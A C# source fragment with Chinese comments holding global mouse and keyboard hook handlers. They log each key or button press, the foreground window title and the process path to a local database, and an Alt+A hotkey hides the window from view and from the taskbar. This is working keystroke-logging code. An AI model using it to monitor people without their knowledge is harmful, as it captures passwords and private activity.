private async void M_hook_MouseDown(object sender, MouseEventArgs e) { //获取windos窗口信息 Dictionary <string, object> winDet = GetWindowDetail(); string info = winDet["info"].ToString(); string tit = winDet["tit"].ToString(); Icon ico = (Icon)winDet["ico"]; StringBuilder className = (StringBuilder)winDet["className"]; //添加数据 KeyMouseModel km = new KeyMouseModel(); KeyMouse KeyM = new KeyMouse(); try { km.CategoryIcon = (Bitmap)imageList.Images["mousec.png"]; } catch (Exception ex) { km.CategoryIcon = null; } KeyM.DeviceName = km.DeviceName = "鼠标"; KeyM.KeyData = km.KeyData = e.Button.ToString(); KeyM.LocationX = km.LocationX = e.X; KeyM.LocationY = km.LocationY = e.Y; KeyM.Title = km.Title = tit; KeyM.ClassName = km.ClassName = className.ToString(); KeyM.ProcessPath = km.ProcessPath = info; km.ExecuteDate = DateTime.Now.ToString(); KeyM.ExecuteDate = DateTime.Now; try { km.ProgramIcon = ico == null ? (Bitmap)imageList.Images["win.ico"] : ico.ToBitmap(); } catch (Exception ex) { km.ProgramIcon = null; } CSGlobal.GetInstance().KeyMs.Add(km); using (var context = new WareHouse_localEntities()) { context.KeyMice.Add(KeyM); //context.SaveChanges(); await context.SaveChangesAsync(); } }
private async void K_hook_KeyDown(object sender, KeyEventArgs e) { //判断按下的键(Alt + A) //if (e.KeyData.ToString() == Settings.Default.lblKeyState) if (e.KeyValue == (int)Keys.A && (int)Control.ModifierKeys == (int)Keys.Alt) { //System.Windows.Forms.MessageBox.Show("按下了指定快捷键组合"); if (this.Visible == true) { this.Hide(); this.ShowInTaskbar = false; } else { this.ShowInTaskbar = true; //this.WindowState = FormWindowState.Normal; this.Show(); } } //避免一直触发事件,除了控制键 if (!(e.KeyValue == (int)Keys.LMenu || e.KeyValue == (int)Keys.RMenu || e.KeyValue == (int)Keys.LControlKey || e.KeyValue == (int)Keys.RControlKey || e.KeyValue == (int)Keys.LShiftKey || e.KeyValue == (int)Keys.RShiftKey || e.KeyValue == (int)Keys.Menu || e.KeyValue == (int)Keys.Control || e.KeyValue == (int)Keys.Shift )) { CSGlobal.GetInstance().k_hook.KeyDown -= K_hook_KeyDown; } //获取widos窗口信息 Dictionary <string, object> winDet = GetWindowDetail(); string info = winDet["info"].ToString(); string tit = winDet["tit"].ToString(); Icon ico = (Icon)winDet["ico"]; StringBuilder className = (StringBuilder)winDet["className"]; //添加数据 KeyMouseModel km = new KeyMouseModel(); KeyMouse KeyM = new KeyMouse(); //Bitmap icon = new Bitmap(imageList.Images["keyboardc.png"]); //Bitmap win = new Bitmap(imageList.Images["win.ico"]); try { km.CategoryIcon = (Bitmap)imageList.Images["keyboardc.png"]; } catch (Exception ex) { km.CategoryIcon = null; } KeyM.DeviceName = km.DeviceName = "键盘"; KeyM.KeyData = km.KeyData = e.KeyData.ToString(); km.LocationX = 0; km.LocationY = 0; KeyM.Title = km.Title = tit; KeyM.ClassName = km.ClassName = className.ToString(); KeyM.ProcessPath = km.ProcessPath = info; km.ExecuteDate = DateTime.Now.ToString(); KeyM.ExecuteDate = DateTime.Now; try { km.ProgramIcon = ico == null ? (Bitmap)imageList.Images["win.ico"] : ico.ToBitmap(); } catch (Exception ex) { km.ProgramIcon = null; } KeyM.KeyCode = km.KeyCode = e.KeyValue; CSGlobal.GetInstance().KeyMs.Add(km); using (var context = new WareHouse_localEntities()) { context.KeyMice.Add(KeyM); await context.SaveChangesAsync(); } //imageList.Images["keyboardc.png"].Dispose(); //imageList.Images["win.ico"].Dispose(); }